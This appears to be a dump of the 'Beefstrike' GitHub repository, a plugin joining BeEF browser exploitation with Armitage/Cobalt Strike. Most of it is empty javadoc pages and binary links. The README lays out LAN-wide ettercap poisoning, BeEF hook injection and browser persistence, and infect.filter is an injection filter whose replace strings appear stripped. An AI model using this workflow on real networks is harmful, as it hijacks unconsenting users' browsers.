├── BeefLib.jar
├── Beefstrike.iso
├── README.md
├── beef_strike.cna
├── chrome_hk.png
├── firefox_hk.png
├── iexplorer_hk.png
├── infect.filter
├── javadoc
├── allclasses-frame.html
├── allclasses-noframe.html
├── com
│ └── eyesopencrew
│ │ ├── Autorun.html
│ │ ├── AutorunList.html
│ │ ├── BeefReport.html
│ │ ├── BeefReportDebug.html
│ │ ├── BeefRequestThread.html
│ │ ├── BeefRequester.html
│ │ ├── BrowserDetailsClass.html
│ │ ├── Bsniper.html
│ │ ├── CmdOptions.html
│ │ ├── CommandList.html
│ │ ├── Commands.html
│ │ ├── Dns.html
│ │ ├── DnsRules.html
│ │ ├── DnsRulesList.html
│ │ ├── LogEvents.html
│ │ ├── Logs.html
│ │ ├── LogsList.html
│ │ ├── NewMain.html
│ │ ├── OfflineClass.html
│ │ ├── OnlineClass.html
│ │ ├── Profile.html
│ │ ├── ProfileList.html
│ │ ├── ResultList.html
│ │ ├── Results.html
│ │ ├── Zombies.html
│ │ ├── class-use
│ │ ├── Autorun.html
│ │ ├── AutorunList.html
│ │ ├── BeefReport.html
│ │ ├── BeefReportDebug.html
│ │ ├── BeefRequestThread.html
│ │ ├── BeefRequester.html
│ │ ├── BrowserDetailsClass.html
│ │ ├── Bsniper.html
│ │ ├── CmdOptions.html
│ │ ├── CommandList.html
│ │ ├── Commands.html
│ │ ├── Dns.html
│ │ ├── DnsRules.html
│ │ ├── DnsRulesList.html
│ │ ├── LogEvents.html
│ │ ├── Logs.html
│ │ ├── LogsList.html
│ │ ├── NewMain.html
│ │ ├── OfflineClass.html
│ │ ├── OnlineClass.html
│ │ ├── Profile.html
│ │ ├── ProfileList.html
│ │ ├── ResultList.html
│ │ ├── Results.html
│ │ └── Zombies.html
│ │ ├── package-frame.html
│ │ ├── package-summary.html
│ │ ├── package-tree.html
│ │ └── package-use.html
├── constant-values.html
├── deprecated-list.html
├── help-doc.html
├── index-files
│ ├── index-1.html
│ ├── index-10.html
│ ├── index-11.html
│ ├── index-12.html
│ ├── index-13.html
│ ├── index-14.html
│ ├── index-15.html
│ ├── index-16.html
│ ├── index-17.html
│ ├── index-18.html
│ ├── index-2.html
│ ├── index-3.html
│ ├── index-4.html
│ ├── index-5.html
│ ├── index-6.html
│ ├── index-7.html
│ ├── index-8.html
│ └── index-9.html
├── index.html
├── overview-tree.html
├── package-list
├── resources
│ ├── background.gif
│ ├── tab.gif
│ ├── titlebar.gif
│ └── titlebar_end.gif
├── serialized-form.html
└── stylesheet.css
├── lib
└── Read_this.txt
├── opera_hk.png
├── peer.png
├── plugin_icons
├── beef
│ ├── button.png
│ ├── icon100.png
│ ├── icon128.png
│ ├── icon32.png
│ └── icon48.png
├── facebook
│ ├── button.png
│ ├── icon100.png
│ ├── icon128.png
│ ├── icon32.png
│ └── icon48.png
├── instagram
│ ├── button.png
│ ├── icon100.png
│ ├── icon128.png
│ ├── icon32.png
│ └── icon48.png
├── linkedin
│ ├── button.png
│ ├── icon100.png
│ ├── icon128.png
│ ├── icon32.png
│ └── icon48.png
├── twitter
│ ├── button.png
│ ├── icon100.png
│ ├── icon128.png
│ ├── icon32.png
│ └── icon48.png
└── wow
│ ├── button.png
│ ├── icon100.png
│ ├── icon128.png
│ ├── icon32.png
│ └── icon48.png
├── safari_hk.png
├── screenshot
├── screenshot1.png
└── screenshot2.jpg
├── sniper.png
├── src
└── com
│ └── eyesopencrew
│ ├── Are.java
│ ├── AreRules.java
│ ├── AreRulesList.java
│ ├── Autorun.java
│ ├── AutorunList.java
│ ├── BeefReport.java
│ ├── BeefRequestThread.java
│ ├── BeefRequester.java
│ ├── BrowserDetailsClass.java
│ ├── Bsniper.form
│ ├── Bsniper.java
│ ├── CmdOptions.java
│ ├── CommandList.java
│ ├── Commands.java
│ ├── Dns.java
│ ├── DnsRules.java
│ ├── DnsRulesList.java
│ ├── LogEvents.java
│ ├── Logs.java
│ ├── LogsList.java
│ ├── OfflineClass.java
│ ├── OnlineClass.java
│ ├── Profile.java
│ ├── ProfileList.java
│ ├── ResultList.java
│ ├── Results.java
│ ├── Zombies.java
│ ├── demo
│ └── zombie.png
├── unknow_hk.png
├── zombie.png
└── zombieoff.png
/BeefLib.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/BeefLib.jar
--------------------------------------------------------------------------------
/Beefstrike.iso:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/Beefstrike.iso
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Beefstrike
2 | Penetration testing bot for BeEF and Armitage/Cobalt Strike integration.
3 |
4 | +--------------------------------------------+
5 | + BeEF and Armitage integration +
6 | + by @thebenygreen +
7 | +--------------------------------------------+
8 |
9 | The purpose of this script is to add a browser exploitation layer to Armitage using all the power of BeEF features. You will be able to use all the attack workflow of BeEF-xss through the intuitive Armitage's user interface.
10 | Beefstrike assist you in automatic and targeted browser's exploitation.
11 |
12 | #WHAT IT DO -
13 | * Connect Armitage to the beef's server
14 | * Perform MiTM with the help of ettercap and inject beef payload all over the LAN
15 | * Auto import all the new zombies inside metasploit database
16 | * Auto perform MiTB attack to ensure persistence on the victim's browser.
17 | * Geolocate every new zombies on a google map
18 | * Generate a browser fingerprinting hash (MD5 & SHA-1) for every zombie
19 | * Expose the most effective BeEF's commands in a click & Run fashion (recon, iframe, social engineering, proxy-tunnel ...)
20 | * Generate browser extension able to inject BeEF in every HTTP request (Better persistence)
21 | * Track the results of every commands and log entry from BeEF
22 | * Automatic and targeted client-side attack against browser (Sniper, a native feature or ARE ruleset)
23 | * Export and Import the auto-targeted attack configuration to one and another attack infrastructure
24 | * generate PDF report of BeEF zombies
25 |
26 |
27 | #HOW TO USE -
28 |
29 | For use this script you need to
30 | 1. Download and install all libraries listed on the read_this file located on the lib folder : http://ow.ly/JMx09
31 | And modify the "import" lines on beef_strike script to point to the right path.
32 | [ Note: beefstrike.iso file have all you need :-) ]
33 | 3. To use MiTM attack, Ettercap must be available on system path. [That is the case in Backtrack & Kali].
34 |
35 | 4. Launch Beef xss server and Armitage
36 |
37 | 5. Load beef_strike.cna cortana script. A sub new menu will appear on the attack menu
38 |
39 | 6. Connect to your Beef server instance.
40 |
41 | 7. Begin the zombies recruitment. You can use xss exploitation or ettercap method. In this folder you will find the infect.filter file.
42 | This is the default file for html injection. You must change it and point to your beef server.
43 | The default value is the localhost address and port 3000 the default port of beef server
44 | Have fun with ettercap filter: http://www.irongeek.com/i.php?page=security/ettercapfilter
45 | You can also use the web cloner or mass mailer for recruitment purpose.
46 |
47 | 8. if you have choose MiTM recruitment method, choose the interface to poison and let beef_strike do the job. You can also use hooker to play with beef hook inside cobalt strike workflow.
48 |
49 | 8. Once a zombie appear, many beef's commands (and you can add) are automatically launch again victim.
50 | You have profiling the victim browser (you can see result on zombies menu item).
51 | Now feel free to use client-side exploits and send to your zombies through beef invisible iframe module.
52 |
53 | ----------------------------------------------------------------------------------------------------------------+
54 | Tested on Backtrack and Kali
55 | Video demos: http://www.youtube.com/watch?v=YhKhkYzq2s8&feature=share&list=UU7_xeQ_4d8jAMtxdJgikjlA
56 | - http://youtube.com/mrbenygreen
57 |
58 | - LIMITATION -
59 | The result of some command can only be see on Beef web ui.
60 |
61 |
--------------------------------------------------------------------------------
/chrome_hk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/chrome_hk.png
--------------------------------------------------------------------------------
/firefox_hk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/firefox_hk.png
--------------------------------------------------------------------------------
/iexplorer_hk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/iexplorer_hk.png
--------------------------------------------------------------------------------
/infect.filter:
--------------------------------------------------------------------------------
1 | if (ip.proto == TCP && tcp.dst == 80) {
2 | if (search(DATA.data, "Accept-Encoding")) {
3 | replace("Accept-Encoding", "Accept-Nothing!");
4 | }
5 | }
6 |
7 | if (ip.proto == TCP && tcp.src == 80) {
8 | if (search(DATA.data, "")) {
9 | replace("", "");
10 | msg("beef injected...");
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/javadoc/allclasses-frame.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | All Classes
8 |
9 |
10 |
11 |
12 | All Classes
13 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/javadoc/allclasses-noframe.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | All Classes
8 |
9 |
10 |
11 |
12 | All Classes
13 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/AutorunList.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.AutorunList
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.AutorunList
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/BeefReport.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.BeefReport
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.BeefReport
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/BeefReportDebug.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.BeefReportDebug
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.BeefReportDebug
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/BeefRequestThread.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.BeefRequestThread
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.BeefRequestThread
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/BeefRequester.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.BeefRequester
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.BeefRequester
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/BrowserDetailsClass.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.BrowserDetailsClass
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.BrowserDetailsClass
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/Bsniper.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.Bsniper
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.Bsniper
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/CommandList.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.CommandList
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.CommandList
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/Dns.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.Dns
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 |
69 |
70 | -
71 |
72 | -
73 |
74 |
75 |
76 |
77 | Methods in com.eyesopencrew that return Dns
78 |
79 | Modifier and Type |
80 | Method and Description |
81 |
82 |
83 |
84 | static Dns[] |
85 | DnsRulesList.extractDns(java.lang.String jsontxt) |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
110 |
111 |
112 | - Prev
113 | - Next
114 |
115 |
119 |
122 |
123 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/DnsRules.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.DnsRules
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 |
94 |
95 |
110 |
111 |
112 | - Prev
113 | - Next
114 |
115 |
119 |
122 |
123 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/DnsRulesList.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.DnsRulesList
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.DnsRulesList
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/LogEvents.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.LogEvents
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 |
94 |
95 |
110 |
111 |
112 | - Prev
113 | - Next
114 |
115 |
119 |
122 |
123 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/Logs.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.Logs
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 |
69 |
70 | -
71 |
72 | -
73 |
74 |
75 |
76 |
77 | Methods in com.eyesopencrew that return Logs
78 |
79 | Modifier and Type |
80 | Method and Description |
81 |
82 |
83 |
84 | static Logs[] |
85 | LogsList.extractLogs(java.lang.String jsontxt) |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
110 |
111 |
112 | - Prev
113 | - Next
114 |
115 |
119 |
122 |
123 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/LogsList.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.LogsList
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.LogsList
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/NewMain.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.NewMain
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.NewMain
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/OfflineClass.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.OfflineClass
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.OfflineClass
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/OnlineClass.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.OnlineClass
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.OnlineClass
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/ProfileList.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.ProfileList
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.ProfileList
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/class-use/ResultList.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Uses of Class com.eyesopencrew.ResultList
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
68 | No usage of com.eyesopencrew.ResultList
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/com/eyesopencrew/package-frame.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | com.eyesopencrew
8 |
9 |
10 |
11 |
12 |
13 |
41 |
42 |
43 |
--------------------------------------------------------------------------------
/javadoc/constant-values.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Constant Field Values
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/deprecated-list.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Deprecated List
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 |
69 |
70 |
85 |
112 |
113 |
114 |
115 |
--------------------------------------------------------------------------------
/javadoc/index-files/index-13.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | T-Index
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 | A B C D E G K L O P R S T U V Z
66 |
67 |
68 |
T
69 |
70 | - title - Static variable in class com.eyesopencrew.BeefReport
71 | -
72 |
73 |
A B C D E G K L O P R S T U V Z
74 |
75 |
90 |
117 |
118 |
119 |
120 |
--------------------------------------------------------------------------------
/javadoc/index-files/index-14.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | U-Index
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 | A B C D E G K L O P R S T U V Z
66 |
67 |
68 |
U
69 |
70 | - url - Static variable in class com.eyesopencrew.BeefReport
71 | -
72 |
73 |
A B C D E G K L O P R S T U V Z
74 |
75 |
90 |
117 |
118 |
119 |
120 |
--------------------------------------------------------------------------------
/javadoc/index-files/index-15.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | V-Index
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 | A B C D E G K L O P R S T U V Z
66 |
67 |
68 |
V
69 |
70 | - vBrowser - Variable in class com.eyesopencrew.Bsniper
71 | -
72 |
73 |
A B C D E G K L O P R S T U V Z
74 |
75 |
90 |
117 |
118 |
119 |
120 |
--------------------------------------------------------------------------------
/javadoc/index-files/index-16.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Z-Index
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 | A B C D E G K L O P R S T U V Z
66 |
67 |
68 |
Z
69 |
70 | - Zombies - Class in com.eyesopencrew
71 | -
72 | - Zombies() - Constructor for class com.eyesopencrew.Zombies
73 | -
74 |
75 |
A B C D E G K L O P R S T U V Z
76 |
77 |
92 |
119 |
120 |
121 |
122 |
--------------------------------------------------------------------------------
/javadoc/index-files/index-17.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | V-Index
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 | A B C D E G K L M N O P R S T U V Z
66 |
67 |
68 |
V
69 |
70 | - vBrowser - Variable in class com.eyesopencrew.Bsniper
71 | -
72 |
73 |
A B C D E G K L M N O P R S T U V Z
74 |
75 |
90 |
117 |
118 |
119 |
120 |
--------------------------------------------------------------------------------
/javadoc/index-files/index-18.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Z-Index
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 | A B C D E G K L M N O P R S T U V Z
66 |
67 |
68 |
Z
69 |
70 | - Zombies - Class in com.eyesopencrew
71 | -
72 | - Zombies() - Constructor for class com.eyesopencrew.Zombies
73 | -
74 |
75 |
A B C D E G K L M N O P R S T U V Z
76 |
77 |
92 |
119 |
120 |
121 |
122 |
--------------------------------------------------------------------------------
/javadoc/index-files/index-7.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | K-Index
8 |
9 |
10 |
11 |
12 |
18 |
21 |
22 |
37 |
64 |
65 | A B C D E G K L O P R S T U V Z
66 |
67 |
68 |
K
69 |
70 | - key - Static variable in class com.eyesopencrew.BeefReport
71 | -
72 |
73 |
A B C D E G K L O P R S T U V Z
74 |
75 |
90 |
117 |
118 |
119 |
120 |
--------------------------------------------------------------------------------
/javadoc/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Generated Documentation (Untitled)
8 |
53 |
54 |
65 |
66 |
--------------------------------------------------------------------------------
/javadoc/package-list:
--------------------------------------------------------------------------------
1 | com.eyesopencrew
2 |
--------------------------------------------------------------------------------
/javadoc/resources/background.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/javadoc/resources/background.gif
--------------------------------------------------------------------------------
/javadoc/resources/tab.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/javadoc/resources/tab.gif
--------------------------------------------------------------------------------
/javadoc/resources/titlebar.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/javadoc/resources/titlebar.gif
--------------------------------------------------------------------------------
/javadoc/resources/titlebar_end.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/javadoc/resources/titlebar_end.gif
--------------------------------------------------------------------------------
/lib/Read_this.txt:
--------------------------------------------------------------------------------
1 | Beef_Strike use json-lib to parse JSON string you can download the binaries and put inside on this folder
2 |
3 | http://sourceforge.net/projects/json-lib/files/
4 |
5 | Json-lib requires (at least) the following dependencies in your classpath:
6 |
7 | jakarta commons-lang 2.5
8 | jakarta commons-beanutils 1.8.0
9 | jakarta commons-collections 3.2.1
10 | jakarta commons-logging 1.1.1
11 | ezmorph 1.0.6
12 |
13 | -------------------------------------------------------------------------------------------------------------+
14 | Can be download here:
15 |
16 | http://mirror.sdunix.com/apache//commons/beanutils/binaries/commons-beanutils-1.8.3-bin.zip
17 | http://apache.petsads.us//commons/io/binaries/commons-io-2.4-bin.zip
18 | ftp://apache.cs.utah.edu/apache.org//commons/collections/binaries/commons-collections4-4.0-alpha1-bin.zip
19 | http://mirror.cc.columbia.edu/pub/software/apache//commons/logging/binaries/commons-logging-1.1.3-bin.zip
20 | http://sourceforge.net/projects/ezmorph/
21 |
22 | icons
23 | http://speckyboy.com/2010/08/09/30-fresh-and-free-icon-sets-for-designers-and-developers/
24 |
25 |
--------------------------------------------------------------------------------
/opera_hk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/opera_hk.png
--------------------------------------------------------------------------------
/peer.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/peer.png
--------------------------------------------------------------------------------
/plugin_icons/beef/button.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/beef/button.png
--------------------------------------------------------------------------------
/plugin_icons/beef/icon100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/beef/icon100.png
--------------------------------------------------------------------------------
/plugin_icons/beef/icon128.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/beef/icon128.png
--------------------------------------------------------------------------------
/plugin_icons/beef/icon32.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/beef/icon32.png
--------------------------------------------------------------------------------
/plugin_icons/beef/icon48.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/beef/icon48.png
--------------------------------------------------------------------------------
/plugin_icons/facebook/button.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/facebook/button.png
--------------------------------------------------------------------------------
/plugin_icons/facebook/icon100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/facebook/icon100.png
--------------------------------------------------------------------------------
/plugin_icons/facebook/icon128.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/facebook/icon128.png
--------------------------------------------------------------------------------
/plugin_icons/facebook/icon32.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/facebook/icon32.png
--------------------------------------------------------------------------------
/plugin_icons/facebook/icon48.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/facebook/icon48.png
--------------------------------------------------------------------------------
/plugin_icons/instagram/button.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/instagram/button.png
--------------------------------------------------------------------------------
/plugin_icons/instagram/icon100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/instagram/icon100.png
--------------------------------------------------------------------------------
/plugin_icons/instagram/icon128.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/instagram/icon128.png
--------------------------------------------------------------------------------
/plugin_icons/instagram/icon32.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/instagram/icon32.png
--------------------------------------------------------------------------------
/plugin_icons/instagram/icon48.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/instagram/icon48.png
--------------------------------------------------------------------------------
/plugin_icons/linkedin/button.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/linkedin/button.png
--------------------------------------------------------------------------------
/plugin_icons/linkedin/icon100.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/linkedin/icon100.png
--------------------------------------------------------------------------------
/plugin_icons/linkedin/icon128.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/linkedin/icon128.png
--------------------------------------------------------------------------------
/plugin_icons/linkedin/icon32.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/linkedin/icon32.png
--------------------------------------------------------------------------------
/plugin_icons/linkedin/icon48.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/linkedin/icon48.png
--------------------------------------------------------------------------------
/plugin_icons/twitter/button.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benyG/Beefstrike/94c1c65e75983ae41a6c9be3bd36982588aa0e4a/plugin_icons/twitter/button.png
--------------------------------------------------------------------------------
